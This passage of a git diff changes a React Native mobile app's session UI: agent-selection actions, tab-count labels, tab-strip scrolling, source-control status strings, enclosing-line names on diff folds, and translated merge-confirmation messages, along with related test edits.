-  it('never bounces synthetic routes the host cannot resolve', () => {
-    expect(isSyntheticWorkspaceRoute('folder:/Users/x/dir')).toBe(true)
-    expect(shouldBounceMissingWorktree('folder:/Users/x/dir', 'missing')).toBe(false)
-    expect(shouldBounceMissingWorktree('global-floating-terminal', 'missing')).toBe(false)
-  })
-})
diff --git a/mobile/src/session/use-mobile-default-session-view-preference.test.ts b/mobile/src/session/use-mobile-default-session-view-preference.test.ts
deleted file mode 100644
index 53891f46444..00000000000
--- a/mobile/src/session/use-mobile-default-session-view-preference.test.ts
+++ /dev/null
@@ -1,97 +0,0 @@
-import { createElement } from 'react'
-import { act, create, type ReactTestRenderer } from 'react-test-renderer'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  loadDefaultSessionView,
-  saveDefaultSessionView,
-  type MobileSessionView
-} from '../storage/session-view-preferences'
-import {
-  useMobileDefaultSessionViewPreference,
-  type MobileDefaultSessionViewPreference
-} from './use-mobile-default-session-view-preference'
-
-function deferred<T>(): { promise: Promise<T>; resolve: (value: T) => void } {
-  let resolve!: (value: T) => void
-  const promise = new Promise<T>((resolvePromise) => {
-    resolve = resolvePromise
-  })
-  return { promise, resolve }
-}
-
-vi.mock('../storage/session-view-preferences', () => ({
-  DEFAULT_SESSION_VIEW: 'terminal',
-  loadDefaultSessionView: vi.fn(),
-  saveDefaultSessionView: vi.fn()
-}))
-
-describe('useMobileDefaultSessionViewPreference', () => {
-  let renderer: ReactTestRenderer | null = null
-  let preference: MobileDefaultSessionViewPreference | null = null
-
-  beforeEach(() => {
-    vi.mocked(loadDefaultSessionView).mockReset().mockResolvedValue('terminal')
-    vi.mocked(saveDefaultSessionView).mockReset().mockResolvedValue(undefined)
-  })
-
-  afterEach(() => {
-    act(() => renderer?.unmount())
-    renderer = null
-    preference = null
-  })
-
-  async function mount(): Promise<void> {
-    function Harness(): null {
-      preference = useMobileDefaultSessionViewPreference()
-      return null
-    }
-    await act(async () => {
-      renderer = create(createElement(Harness))
-      await Promise.resolve()
-    })
-  }
-
-  it('keeps a fast toggle authoritative over the initial read', async () => {
-    const initialLoad = deferred<MobileSessionView>()
-    vi.mocked(loadDefaultSessionView).mockReturnValue(initialLoad.promise)
-    await mount()
-
-    act(() => preference?.setDefaultView('chat'))
-    expect(preference?.defaultView).toBe('chat')
-
-    await act(async () => {
-      initialLoad.resolve('terminal')
-      await initialLoad.promise
-    })
-
-    expect(preference?.defaultView).toBe('chat')
-    expect(saveDefaultSessionView).toHaveBeenCalledWith('chat')
-  })
-
-  it('does not let an older failed write roll back a newer choice', async () => {
-    const recoveryLoad = deferred<MobileSessionView>()
-    vi.mocked(loadDefaultSessionView)
-      .mockResolvedValueOnce('terminal')
-      .mockReturnValueOnce(recoveryLoad.promise)
-    vi.mocked(saveDefaultSessionView)
-      .mockRejectedValueOnce(new Error('storage unavailable'))
-      .mockResolvedValueOnce(undefined)
-    await mount()
-
-    act(() => preference?.setDefaultView('chat'))
-    await act(async () => {
-      await Promise.resolve()
-      await Promise.resolve()
-    })
-    act(() => preference?.setDefaultView('terminal'))
-
-    await act(async () => {
-      recoveryLoad.resolve('chat')
-      await recoveryLoad.promise
-      await Promise.resolve()
-    })
-
-    expect(preference?.defaultView).toBe('terminal')
-    expect(saveDefaultSessionView).toHaveBeenNthCalledWith(2, 'terminal')
-  })
-})
diff --git a/mobile/src/session/use-mobile-session-foundation.ts b/mobile/src/session/use-mobile-session-foundation.ts
index cdc21bbabb0..6ecb5ae9870 100644
--- a/mobile/src/session/use-mobile-session-foundation.ts
+++ b/mobile/src/session/use-mobile-session-foundation.ts
@@ -52,7 +52,6 @@ export function useMobileSessionFoundation() {
     name: worktreeName,
     path: worktreePath,
     hostId: worktreeHostId,
-    branch: worktreeBranch,
     resolution: worktreeResolution
   } = useLiveWorktreeName({
     client,
@@ -116,7 +115,6 @@ export function useMobileSessionFoundation() {
     worktreeName,
     worktreePath,
     worktreeHostId,
-    worktreeBranch,
     worktreeResolution,
     isWideLayout,
     activePanel,
diff --git a/mobile/src/session/use-mobile-session-panel-route-actions.tsx b/mobile/src/session/use-mobile-session-panel-route-actions.tsx
index c4ae529e4a8..6cd74e382eb 100644
--- a/mobile/src/session/use-mobile-session-panel-route-actions.tsx
+++ b/mobile/src/session/use-mobile-session-panel-route-actions.tsx
@@ -7,7 +7,7 @@ import {
   shouldShowSessionHeaderChecksAction,
   panelRouteDescriptor
 } from './session-panel-host'
-import type { ActionSheetAction } from '../components/ActionSheetModal'
+import { MobileAgentIcon } from '../components/MobileAgentIcon'
 import { useMobileTranslation } from '../i18n/use-mobile-translation'
 import {
   useWorkspaceExecutionHost,
@@ -49,81 +49,127 @@ export function useMobileSessionPanelRouteActions(scope: MobileSessionPresentati
     quickCommandsSupported,
     showToast
   } = scope
-  const agentStatusRow = (errorHint: string): ActionSheetAction | null =>
+  const otherRuntimeAgentRow = {
+    id: 'otherServerAgents',
+    label: t('session.usePanelRouteActions.otherServerAgents', 'Agents on Another Server'),
+    hint: t('session.usePanelRouteActions.pairServerHint', 'Pair that server directly'),
+    icon: Bot,
+    disabled: true,
+    onPress: () => {}
+  }
+  const createTabAgentActions =
     createTabAgentLoadState === 'loading'
-      ? {
-          id: 'detectingAgents',
-          label: t('session.usePanelRouteActions.detectingAgents', 'Detecting Agents'),
-          icon: Bot,
-          disabled: true,
-          loading: true,
-          onPress: () => {}
-        }
+      ? [
+          {
+            id: 'detectingAgents',
+            label: t('session.usePanelRouteActions.detectingAgents', 'Detecting Agents'),
+            icon: Bot,
+            disabled: true,
+            loading: true,
+            onPress: () => {}
+          }
+        ]
       : createTabAgentOptions.length > 0
-        ? null
-        : createTabAgentLoadState === 'loaded'
-          ? {
-              id: 'noEnabledAgents',
-              label: t('session.usePanelRouteActions.noEnabledAgents', 'No Enabled Agents'),
-              icon: Bot,
-              disabled: true,
-              onPress: () => {}
+        ? createTabAgentOptions.map((option) => ({
+            id: `agent:${option.agent}`,
+            label: option.label,
+            renderIcon: () => <MobileAgentIcon agentId={option.agent} size={16} />,
+            onPress: () => {
+              setShowCreateTabDrawer(false)
+              void handleCreateTerminal(option.agent)
             }
-          : createTabAgentLoadState === 'other-runtime'
-            ? {
-                id: 'otherServerAgents',
-                label: t(
-                  'session.usePanelRouteActions.otherServerAgents',
-                  'Agents on Another Server'
-                ),
-                hint: t('session.usePanelRouteActions.pairServerHint', 'Pair that server directly'),
+          }))
+        : createTabAgentLoadState === 'loaded'
+          ? [
+              {
+                id: 'noEnabledAgents',
+                label: t('session.usePanelRouteActions.noEnabledAgents', 'No Enabled Agents'),
                 icon: Bot,
                 disabled: true,
                 onPress: () => {}
               }
+            ]
+          : createTabAgentLoadState === 'other-runtime'
+            ? [otherRuntimeAgentRow]
             : createTabAgentLoadState === 'error'
-              ? {
-                  id: 'presetsUnavailable',
-                  label: t(
-                    'session.usePanelRouteActions.presetsUnavailable',
-                    'Agent Presets Unavailable'
-                  ),
-                  hint: errorHint,
+              ? [
+                  {
+                    id: 'presetsUnavailable',
+                    label: t(
+                      'session.usePanelRouteActions.presetsUnavailable',
+                      'Agent Presets Unavailable'
+                    ),
+                    hint: t(
+                      'session.usePanelRouteActions.checkHostHint',
+                      'Check the host connection'
+                    ),
+                    icon: Bot,
+                    disabled: true,
+                    onPress: () => {}
+                  }
+                ]
+              : []
+  const sendDiffNotesAgentActions =
+    pendingDiffNotesDelivery === null
+      ? []
+      : createTabAgentLoadState === 'loading'
+        ? [
+            {
+              id: 'detectingAgents',
+              label: t('session.usePanelRouteActions.detectingAgents', 'Detecting Agents'),
+              icon: Bot,
+              disabled: true,
+              loading: true,
+              onPress: () => {}
+            }
+          ]
+        : createTabAgentOptions.length > 0
+          ? createTabAgentOptions.map((option) => ({
+              id: `agent:${option.agent}`,
+              label: option.label,
+              hint: t('session.usePanelRouteActions.newSessionHint', 'New agent session'),
+              icon: Bot,
+              onPress: () => {
+                const delivery = pendingDiffNotesDelivery
+                setPendingDiffNotesDelivery(null)
+                if (!delivery) {
+                  return
+                }
+                void sendDiffNotesToNewAgent(delivery, async () => {
+                  await handleCreateTerminal(option.agent, {
+                    initialPrompt: delivery.prompt,
+                    onPromptSent: () => void clearDeliveredDiffComments(delivery.comments)
+                  })
+                })
+              }
+            }))
+          : createTabAgentLoadState === 'loaded'
+            ? [
+                {
+                  id: 'noEnabledAgents',
+                  label: t('session.usePanelRouteActions.noEnabledAgents', 'No Enabled Agents'),
                   icon: Bot,
                   disabled: true,
                   onPress: () => {}
                 }
-              : null
-  const createTabAgentStatusRow = agentStatusRow(
-    t('session.usePanelRouteActions.checkHostHint', 'Check the host connection')
-  )
-  const sendDiffNotesStatusRow = agentStatusRow(
-    t('session.usePanelRouteActions.copyNotesHint', 'Copy notes instead')
-  )
-  const sendDiffNotesAgentActions: ActionSheetAction[] =
-    pendingDiffNotesDelivery === null
-      ? []
-      : sendDiffNotesStatusRow
-        ? [sendDiffNotesStatusRow]
-        : createTabAgentOptions.map((option) => ({
-            id: `agent:${option.agent}`,
-            label: option.label,
-            hint: t('session.usePanelRouteActions.newSessionHint', 'New agent session'),
-            icon: Bot,
-            onPress: () => {
-              const delivery = pendingDiffNotesDelivery
-              setPendingDiffNotesDelivery(null)
-              if (!delivery) {
-                return
-              }
-              void sendDiffNotesToNewAgent(delivery, async () => {
-                await handleCreateTerminal(option.agent, {
-                  initialPrompt: delivery.prompt,
-                  onPromptSent: () => void clearDeliveredDiffComments(delivery.comments)
-                })
-              })
-            }
-          }))
+              ]
+            : createTabAgentLoadState === 'other-runtime'
+              ? [otherRuntimeAgentRow]
+              : createTabAgentLoadState === 'error'
+                ? [
+                    {
+                      id: 'presetsUnavailable',
+                      label: t(
+                        'session.usePanelRouteActions.presetsUnavailable',
+                        'Agent Presets Unavailable'
+                      ),
+                      hint: t('session.usePanelRouteActions.copyNotesHint', 'Copy notes instead'),
+                      icon: Bot,
+                      disabled: true,
+                      onPress: () => {}
+                    }
+                  ]
+                : []
 
   const handleSessionContentRowLayout = useCallback((event: LayoutChangeEvent) => {
     const width = Math.round(event.nativeEvent.layout.width)
@@ -189,7 +235,7 @@ export function useMobileSessionPanelRouteActions(scope: MobileSessionPresentati
     )
   }
   return {
-    createTabAgentStatusRow,
+    createTabAgentActions,
     sendDiffNotesAgentActions,
     handleSessionContentRowLayout,
     handlePanelTap,
diff --git a/mobile/src/session/use-mobile-session-presentation.ts b/mobile/src/session/use-mobile-session-presentation.ts
index 8f4b3c23331..374e1db46e8 100644
--- a/mobile/src/session/use-mobile-session-presentation.ts
+++ b/mobile/src/session/use-mobile-session-presentation.ts
@@ -76,8 +76,11 @@ export function useMobileSessionPresentation(scope: MobileSessionBulkCloseModel)
     presentedConnState === 'connected'
       ? showLoadingState && visibleTabs.length === 0
         ? t('session.presentation.loadingTabs', 'Loading tabs')
-        : // The tab count lives in the tab bar, so the header names the branch instead.
-          (scope.worktreeBranch ?? MOBILE_SESSION_STATUS_LABELS.connected)
+        : visibleTabs.length === 1
+          ? t('session.presentation.oneTab', '1 tab')
+          : t('session.presentation.tabCount', '{{tabCount}} tabs', {
+              tabCount: visibleTabs.length
+            })
       : showConnectionRetry
         ? t('session.presentation.tapToRetry', '{{status}} — tap to retry', {
             status: verdictDisplayLabel(connectionVerdict)
diff --git a/mobile/src/session/use-mobile-session-screen-state.ts b/mobile/src/session/use-mobile-session-screen-state.ts
index 45fd4a9d886..bde653c4045 100644
--- a/mobile/src/session/use-mobile-session-screen-state.ts
+++ b/mobile/src/session/use-mobile-session-screen-state.ts
@@ -1,7 +1,7 @@
 import { useState, useRef, useMemo } from 'react'
 import { useTerminalSplitLayout } from '../terminal/session/use-terminal-split-layout'
 import { createLiveInputCapture } from '../terminal/session/live-input-capture'
-import { Animated } from 'react-native'
+import { Animated, type ScrollView } from 'react-native'
 import type { MobileTerminalLinkOpenMode } from '../storage/preferences'
 import type { TerminalKeyboardAvoidanceMetrics } from '../terminal/terminal-webview-contract'
 import {
@@ -46,6 +46,11 @@ export function useMobileSessionScreenState(scope: MobileSessionFoundationModel)
   const activeSessionTabIdRef = useRef<string | null>(null)
   // Preserve an explicit phone tab pick while a host snapshot is transiently incomplete.
   const selectedSessionTabIdRef = useRef<string | null>(null)
+  const tabStripRef = useRef<ScrollView>(null)
+  const tabStripOffsetRef = useRef(0)
+  const tabStripViewportWidthRef = useRef(0)
+  const tabStripContentWidthRef = useRef(0)
+  const tabLayoutsRef = useRef<Map<string, { x: number; width: number }>>(new Map())
   const [markdownDocs, setMarkdownDocs] = useState<Map<string, MarkdownDocState>>(new Map())
   const markdownDocsRef = useRef<Map<string, MarkdownDocState>>(new Map())
   const [fileDocs, setFileDocs] = useState<Map<string, FileDocState>>(new Map())
@@ -129,6 +134,11 @@ export function useMobileSessionScreenState(scope: MobileSessionFoundationModel)
     setActiveSessionTabId,
     activeSessionTabIdRef,
     selectedSessionTabIdRef,
+    tabStripRef,
+    tabStripOffsetRef,
+    tabStripViewportWidthRef,
+    tabStripContentWidthRef,
+    tabLayoutsRef,
     markdownDocs,
     setMarkdownDocs,
     markdownDocsRef,
diff --git a/mobile/src/source-control/folder/use-folder-create-flow.test.tsx b/mobile/src/source-control/folder/use-folder-create-flow.test.tsx
index c59d2644858..57360d9d270 100644
--- a/mobile/src/source-control/folder/use-folder-create-flow.test.tsx
+++ b/mobile/src/source-control/folder/use-folder-create-flow.test.tsx
@@ -243,15 +243,6 @@ describe('useFolderCreateFlow', () => {
       setupDecision: 'skip'
     })
   })
-  it("refreshes the folder when a form's create may have landed", async () => {
-    const refetch = vi.fn()
-    const { flow } = mountFlow(refetch)
-    const b = repoIn()
-    const form = await openComposer(flow, b)
-
-    form.folderLaunch?.submit.begin({ ...b.repo, path: '/w/b' })?.settle('uncertain')
-    expect(refetch).toHaveBeenCalledTimes(1)
-  })
   async function setupRefusedRetry(flow: { current: Flow | null }) {
     const a = repoIn()
     const lost = new FakeSession('connected')
diff --git a/mobile/src/source-control/mobile-commit-dropdown-copy.ts b/mobile/src/source-control/mobile-commit-dropdown-copy.ts
index 6ed43bd8647..7cc182bde00 100644
--- a/mobile/src/source-control/mobile-commit-dropdown-copy.ts
+++ b/mobile/src/source-control/mobile-commit-dropdown-copy.ts
@@ -69,6 +69,18 @@ export function mobileCommitDropdownCopy(t: Translate): CommitDropdownCopy {
         case 'Enter a commit message to commit':
           return t('sourceControl.commitDropdown.enterMessage', 'Enter a commit message to commit')
       }
-    }
+    },
+    commitDisabledStatus: (reason) => {
+      switch (reason) {
+        case 'Resolve conflicts before committing':
+          return t('sourceControl.commitDropdown.statusConflicts', 'Conflicts')
+        case 'Stage at least one file to commit':
+          return t('sourceControl.commitDropdown.statusNothingStaged', 'Nothing staged')
+        case 'Enter a commit message to commit':
+          return t('sourceControl.commitDropdown.statusNeedsMessage', 'Needs message')
+      }
+    },
+    statusNotPublished: t('sourceControl.commitDropdown.statusNotPublished', 'Not published'),
+    statusNoBranch: t('sourceControl.commitDropdown.statusNoBranch', 'No branch')
   }
 }
diff --git a/mobile/src/source-control/mobile-remote-dropdown-copy.ts b/mobile/src/source-control/mobile-remote-dropdown-copy.ts
index a8cea9cbbb3..8f5e9a55ecf 100644
--- a/mobile/src/source-control/mobile-remote-dropdown-copy.ts
+++ b/mobile/src/source-control/mobile-remote-dropdown-copy.ts
@@ -160,6 +160,15 @@ export function mobileRemoteDropdownCopy(t: Translate): RemoteDropdownCopy {
     manualForcePush: (ahead, behind, upstreamName) =>
       localizedManualForcePush(ahead, behind, upstreamName, t),
     unpublishedForcePush: (branchCommitsAhead) =>
-      localizedUnpublishedForcePush(branchCommitsAhead, t)
+      localizedUnpublishedForcePush(branchCommitsAhead, t),
+    statusUpToDate: t('sourceControl.remoteDropdown.statusUpToDate', 'Up to date'),
+    statusSetsUpstream: t('sourceControl.remoteDropdown.statusSetsUpstream', 'Sets upstream'),
+    statusNotPublished: t('sourceControl.remoteDropdown.statusNotPublished', 'Not published'),
+    statusNoBranch: t('sourceControl.remoteDropdown.statusNoBranch', 'No branch'),
+    statusMayFail: t('sourceControl.remoteDropdown.statusMayFail', 'May fail'),
+    statusPublished: t('sourceControl.remoteDropdown.statusPublished', 'Published'),
+    statusStashFirst: t('sourceControl.remoteDropdown.statusStashFirst', 'Stash first'),
+    statusReplaces: (behind) =>
+      t('sourceControl.remoteDropdown.statusReplaces', 'Replaces ↓{{behind}}', { behind })
   }
 }
diff --git a/mobile/src/source-control/mobile-source-control-actions.ts b/mobile/src/source-control/mobile-source-control-actions.ts
index cd819d69476..c4c453ddea4 100644
--- a/mobile/src/source-control/mobile-source-control-actions.ts
+++ b/mobile/src/source-control/mobile-source-control-actions.ts
@@ -31,6 +31,7 @@ export type MobileSourceControlAction = {
   iconKey: MobileSourceControlActionIcon
   disabled?: boolean
   hint?: string
+  status?: string
   loading?: boolean
   skipAutoClose?: boolean
   closeBeforePress?: boolean
@@ -84,7 +85,7 @@ export function buildMobileSourceControlActions(
   const busy = args.busyAction !== null
   const blockForce = (item: DropdownItem): DropdownItem =>
     args.forcePushBlockedReason
-      ? { ...item, disabled: true, title: args.forcePushBlockedReason }
+      ? { ...item, disabled: true, title: args.forcePushBlockedReason, status: undefined }
       : item
   const row = (
     item: DropdownItem,
@@ -98,6 +99,7 @@ export function buildMobileSourceControlActions(
     disabled: busy || item.disabled,
     // Mobile has no tooltips: show why a row is disabled, and always what Force Push replaces.
     hint: item.disabled || item.kind === 'force_push' ? item.title : undefined,
+    status: item.status,
     loading: args.busyAction === actionId,
     skipAutoClose: true,
     onPress
diff --git a/mobile/src/source-control/review/mobile-diff-review-rows.test.ts b/mobile/src/source-control/review/mobile-diff-review-rows.test.ts
new file mode 100644
index 00000000000..e0acbecf7cc
--- /dev/null
+++ b/mobile/src/source-control/review/mobile-diff-review-rows.test.ts
@@ -0,0 +1,31 @@
+import { describe, expect, it } from 'vitest'
+import type { MobileDiffLine } from './mobile-diff-lines'
+import { foldEnclosingLine } from './mobile-diff-review-rows'
+
+const context = (text: string): MobileDiffLine => ({ kind: 'context', text })
+
+describe('foldEnclosingLine', () => {
+  it('names the nearest line above the fold that is indented less than the line after it', () => {
+    const lines: MobileDiffLine[] = [
+      context("describe('queue', () => {"),
+      context("  it('orders files', () => {"),
+      context('    const queue = build()'),
+      context(''),
+      context('    expect(queue).toHaveLength(3)'),
+      { kind: 'delete', text: '  removed()' },
+      context('    expect(queue[0].scope).toBe(1)')
+    ]
+    expect(foldEnclosingLine(lines, 6)).toBe("it('orders files', () => {")
+  })
+
+  it('skips blank lines after the fold and returns null when nothing encloses it', () => {
+    const lines = [
+      context('const a = 1'),
+      context('const b = 2'),
+      context(''),
+      context('const c = 3')
+    ]
+    expect(foldEnclosingLine(lines, 2)).toBeNull()
+    expect(foldEnclosingLine(lines, 4)).toBeNull()
+  })
+})
diff --git a/mobile/src/source-control/review/mobile-diff-review-rows.ts b/mobile/src/source-control/review/mobile-diff-review-rows.ts
index 9d140cd4881..1699890b564 100644
--- a/mobile/src/source-control/review/mobile-diff-review-rows.ts
+++ b/mobile/src/source-control/review/mobile-diff-review-rows.ts
@@ -7,7 +7,15 @@ const MINIMUM_FOLDED_LINES = 3
 
 export type MobileDiffReviewRow<Line extends MobileDiffLine = MobileDiffLine> =
   | { kind: 'line'; key: string; line: Line; lineIndex: number }
-  | { kind: 'fold'; key: string; hiddenCount: number; startIndex: number; endIndex: number }
+  | {
+      kind: 'fold'
+      key: string
+      hiddenCount: number
+      startIndex: number
+      endIndex: number
+      /** The line the folded code sits inside, shown on the fold like GitHub's hunk header. */
+      enclosingLine: string | null
+    }
   | { kind: 'thread'; key: string; thread: MobileDiffReviewThread }
 
 /**
@@ -72,7 +80,8 @@ export function buildMobileDiffReviewRows<Line extends MobileDiffLine>(
           key: `fold:${foldStart}`,
           hiddenCount: foldEnd - foldStart,
           startIndex: foldStart,
-          endIndex: foldEnd
+          endIndex: foldEnd,
+          enclosingLine: foldEnclosingLine(lines, foldEnd)
         })
         lineIndex = foldEnd - 1
         continue
@@ -82,3 +91,47 @@ export function buildMobileDiffReviewRows<Line extends MobileDiffLine>(
   }
   return rows
 }
+
+const TAB_COLUMNS = 4
+
+function indentColumns(text: string): number {
+  let columns = 0
+  for (const char of text) {
+    if (char === ' ') {
+      columns += 1
+    } else if (char === '\t') {
+      columns += TAB_COLUMNS
+    } else {
+      break
+    }
+  }
+  return columns
+}
+
+/**
+ * The phone's diff has no `@@` headers, so the fold names its scope itself: the nearest new-file line at or
+ * above the fold's end that is indented less than the first line shown after it. Blank lines don't count.
+ */
+export function foldEnclosingLine(
+  lines: readonly MobileDiffLine[],
+  foldEnd: number
+): string | null {
+  const counts = (line: MobileDiffLine | undefined): line is MobileDiffLine =>
+    line !== undefined && line.kind !== 'delete' && line.text.trim() !== ''
+  let nextIndex = foldEnd
+  while (nextIndex < lines.length && !counts(lines[nextIndex])) {
+    nextIndex += 1
+  }
+  const next = lines[nextIndex]
+  if (!counts(next)) {
+    return null
+  }
+  const nextIndent = indentColumns(next.text)
+  for (let index = foldEnd - 1; index >= 0; index -= 1) {
+    const line = lines[index]
+    if (counts(line) && indentColumns(line.text) < nextIndent) {
+      return line.text.trim()
+    }
+  }
+  return null
+}
diff --git a/mobile/src/tasks/mobile-tasks-hosted-review.ts b/mobile/src/tasks/mobile-tasks-hosted-review.ts
index dbc47832fba..c12cbf19ea8 100644
--- a/mobile/src/tasks/mobile-tasks-hosted-review.ts
+++ b/mobile/src/tasks/mobile-tasks-hosted-review.ts
@@ -1,7 +1,6 @@
 import { getHostedMergeLabel } from './mobile-hosted-check-status'
 import { projectRowType } from './mobile-tasks-item-mapping'
 import type {
-  HostedReviewItem,
   HostedReviewMergeMethod,
   PendingHostedMerge,
   PendingHostedStateChange,
@@ -14,6 +13,8 @@ import type {
   GitHubPRReviewerRow,
   GitHubWorkItem
 } from './mobile-tasks-provider-detail-types'
+import { GITHUB_PR_MERGE_METHOD_I18N_KEYS } from '../../../src/shared/github/pull-request-merge-methods'
+import { translate } from '../i18n/mobile-i18n'
 
 export const LINEAR_PRIORITY_LABELS: Record<number, string> = {
   0: 'None',
@@ -137,35 +138,59 @@ export function getGitHubMergeLabel(item: GitHubWorkItem): string | null {
 }
 
 export function getHostedReviewMergeMethodLabel(method: HostedReviewMergeMethod): string {
-  if (method === 'squash') {
-    return 'Squash and merge'
-  }
-  if (method === 'rebase') {
-    return 'Rebase and merge'
-  }
-  return 'Create merge commit'
+  return translate(
+    GITHUB_PR_MERGE_METHOD_I18N_KEYS[method],
+    method === 'squash'
+      ? 'Squash and merge'
+      : method === 'rebase'
+        ? 'Rebase and merge'
+        : 'Create merge commit'
+  )
 }
 
-export function hostedReviewMergeTargetLabel(item: HostedReviewItem): string {
-  return item.provider === 'gitlab' ? 'merge request' : 'PR'
+function mergeConfirmMessage(
+  provider: 'github' | 'gitlab',
+  method: HostedReviewMergeMethod,
+  number: number | null
+): string {
+  if (provider === 'gitlab') {
+    if (method === 'squash') {
+      return translate(
+        'tasks.hostedMerge.confirmGitLabSquash',
+        'Squash and merge merge request #{{number}}?',
+        { number }
+      )
+    }
+    if (method === 'rebase') {
+      return translate(
+        'tasks.hostedMerge.confirmGitLabRebase',
+        'Rebase and merge merge request #{{number}}?',
+        { number }
+      )
+    }
+    return translate('tasks.hostedMerge.confirmGitLabMerge', 'Merge merge request #{{number}}?', {
+      number
+    })
+  }
+  if (method === 'squash') {
+    return translate('tasks.hostedMerge.confirmGitHubSquash', 'Squash and merge PR #{{number}}?', {
+      number
+    })
+  }
+  if (method === 'rebase') {
+    return translate('tasks.hostedMerge.confirmGitHubRebase', 'Rebase and merge PR #{{number}}?', {
+      number
+    })
+  }
+  return translate('tasks.hostedMerge.confirmGitHubMerge', 'Merge PR #{{number}}?', { number })
 }
 
 export function getHostedMergeConfirmMessage(pending: PendingHostedMerge): string {
-  const target = hostedReviewMergeTargetLabel(pending.item)
-  if (pending.method === 'squash') {
-    return `Squash and merge ${target} #${pending.item.source.number}?`
-  }
-  const action = pending.method === 'rebase' ? 'Rebase and merge' : 'Merge'
-  return `${action} ${target} #${pending.item.source.number}?`
+  return mergeConfirmMessage(pending.item.provider, pending.method, pending.item.source.number)
 }
 
 export function getProjectGitHubMergeConfirmMessage(pending: PendingProjectGitHubMerge): string {
-  const number = pending.row.content.number
-  if (pending.method === 'squash') {
-    return `Squash and merge PR #${number}?`
-  }
-  const action = pending.method === 'rebase' ? 'Rebase and merge' : 'Merge'
-  return `${action} PR #${number}?`
+  return mergeConfirmMessage('github', pending.method, pending.row.content.number)
 }
 
 export function hostedStateChangeAction(nextState: PendingHostedStateChange['nextState']): string {
diff --git a/mobile/src/tasks/mobile-tasks-item-state-glyph.ts b/mobile/src/tasks/mobile-tasks-item-state-glyph.ts
index 8bf32a31f6a..84e66c4ac99 100644
--- a/mobile/src/tasks/mobile-tasks-item-state-glyph.ts
+++ b/mobile/src/tasks/mobile-tasks-item-state-glyph.ts
@@ -1,14 +1,6 @@
-import {
-  Circle,
-  CircleCheck,
-  CircleDot,
-  GitMerge,
-  GitPullRequest,
-  GitPullRequestClosed,
-  GitPullRequestDraft,
-  type LucideIcon
-} from 'lucide-react-native'
+import { Circle, CircleCheck, CircleDot, type LucideIcon } from 'lucide-react-native'
 import { prStateColor } from '../components/WorktreeMetaGlyphs'
+import { prStateIcon } from '../components/pr-state-token'
 import { colors } from '../theme/mobile-theme'
 import type { TaskItem } from './mobile-tasks-project-workspace-types'
 
@@ -16,17 +8,7 @@ export type TaskItemStateGlyph = { icon: LucideIcon; color: string }
 
 // The shape says issue or review and its state, coloured as desktop's task page and review icons.
 function reviewGlyph(state: string): TaskItemStateGlyph {
-  const color = prStateColor(state === 'opened' ? 'open' : state)
-  if (state === 'merged') {
-    return { icon: GitMerge, color }
-  }
-  if (state === 'closed') {
-    return { icon: GitPullRequestClosed, color }
-  }
-  if (state === 'draft') {
-    return { icon: GitPullRequestDraft, color }
-  }
-  return { icon: GitPullRequest, color }
+  return { icon: prStateIcon(state), color: prStateColor(state === 'opened' ? 'open' : state) }
 }
 
 function issueGlyph(state: string): TaskItemStateGlyph {
diff --git a/mobile/src/terminal/session/use-mobile-session-keyboard-state.ts b/mobile/src/terminal/session/use-mobile-session-keyboard-state.ts
index 785f282bb4f..ec532d01bf5 100644
--- a/mobile/src/terminal/session/use-mobile-session-keyboard-state.ts
+++ b/mobile/src/terminal/session/use-mobile-session-keyboard-state.ts
@@ -1,9 +1,10 @@
-import { useEffect, useCallback } from 'react'
+import { useEffect, useCallback, useRef } from 'react'
 import { currentSoftKeyboardHeight, subscribeSoftKeyboard } from '../../platform/keyboard-occlusion'
 import { useTerminalViewportRefit } from '../terminal-viewport-refit'
 import { removeCustomKey, type CustomKey } from '../terminal-custom-keys'
 import { useWorkspaceExecutionHost } from '../../navigation/workspace-execution-host'
 import { writeLastVisitedWorktree } from '../../worktree/last-visited-worktree-by-host'
+import { resolveTabStripScrollOffset } from '../../session/tabs/tab-strip-scroll'
 import type { MobileSessionLifecycleModel } from '../../session/use-mobile-session-lifecycle'
 
 export type MobileSessionKeyboardScope = Pick<
@@ -11,6 +12,7 @@ export type MobileSessionKeyboardScope = Pick<
   | 'activeHandleRef'
   | 'visibleTerminalHandlesRef'
   | 'terminalPaneViewportsRef'
+  | 'activeSessionTabId'
   | 'clientRef'
   | 'connState'
   | 'deviceTokenRef'
@@ -20,6 +22,11 @@ export type MobileSessionKeyboardScope = Pick<
   | 'setShowCustomKeyModal'
   | 'showNativeChatRef'
   | 'subscribeToTerminal'
+  | 'tabLayoutsRef'
+  | 'tabStripContentWidthRef'
+  | 'tabStripOffsetRef'
+  | 'tabStripRef'
+  | 'tabStripViewportWidthRef'
   | 'terminalFrameRef'
   | 'terminalRefs'
   | 'terminals'
@@ -38,6 +45,12 @@ export function useMobileSessionKeyboardState(scope: MobileSessionKeyboardScope)
     connState,
     terminals,
     terminalTextScale,
+    activeSessionTabId,
+    tabStripRef,
+    tabStripOffsetRef,
+    tabStripViewportWidthRef,
+    tabStripContentWidthRef,
+    tabLayoutsRef,
     setCustomKeys,
     setShowCustomKeyModal,
     deviceTokenRef,
@@ -85,6 +98,55 @@ export function useMobileSessionKeyboardState(scope: MobileSessionKeyboardScope)
     )
   }, [notifyKeyboardVisibility])
 
+  const heldTabStripRevealRef = useRef<ReturnType<typeof setTimeout> | null>(null)
+  const cancelHeldTabStripReveal = useCallback(() => {
+    if (heldTabStripRevealRef.current) {
+      clearTimeout(heldTabStripRevealRef.current)
+      heldTabStripRevealRef.current = null
+    }
+  }, [])
+  useEffect(() => cancelHeldTabStripReveal, [cancelHeldTabStripReveal])
+  // Hold strip movement through double-tap detection so its second tap reaches the same tab.
+  const holdTabStripReveal = useCallback(
+    (offset: number, delayMs: number) => {
+      cancelHeldTabStripReveal()
+      heldTabStripRevealRef.current = setTimeout(() => {
+        heldTabStripRevealRef.current = null
+        if (offset !== tabStripOffsetRef.current) {
+          tabStripOffsetRef.current = offset
+          tabStripRef.current?.scrollTo({ x: offset, animated: true })
+        }
+      }, delayMs)
+    },
+    [cancelHeldTabStripReveal]
+  )
+
+  const scrollActiveTabIntoView = useCallback((tabId: string | null, animated: boolean) => {
+    if (!tabId || heldTabStripRevealRef.current) {
+      return
+    }
+    const layout = tabLayoutsRef.current.get(tabId)
+    if (!layout) {
+      return
+    }
+    const nextOffset = resolveTabStripScrollOffset({
+      tabX: layout.x,
+      tabWidth: layout.width,
+      viewportWidth: tabStripViewportWidthRef.current,
+      contentWidth: tabStripContentWidthRef.current,
+      currentOffset: tabStripOffsetRef.current
+    })
+    if (nextOffset !== tabStripOffsetRef.current) {
